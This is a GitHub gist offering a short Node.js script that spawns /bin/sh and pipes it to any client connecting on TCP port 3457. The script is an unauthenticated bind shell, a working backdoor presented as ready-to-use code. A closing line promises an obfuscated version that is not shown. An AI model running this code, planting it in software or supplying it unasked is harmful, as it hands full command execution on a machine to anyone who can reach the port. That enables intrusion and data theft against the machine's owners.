Created
April 8, 2019 16:57
-
-
Save gerrard00/d6c5ef69e76251077cd897fe297acded to your computer and use it in GitHub Desktop.
Simple code to launch a network shell from node js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const net = require('net'); | |
const cp = require('child_process'); | |
const sh = cp.spawn('/bin/sh'); | |
const server = net.createServer((client) => { | |
client.pipe(sh.stdin); | |
sh.stdout.pipe(client); | |
sh.stderr.pipe(client); | |
}); | |
server.listen(3457, () => { | |
console.log('listening'); | |
}); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Or as an obfuscated json string: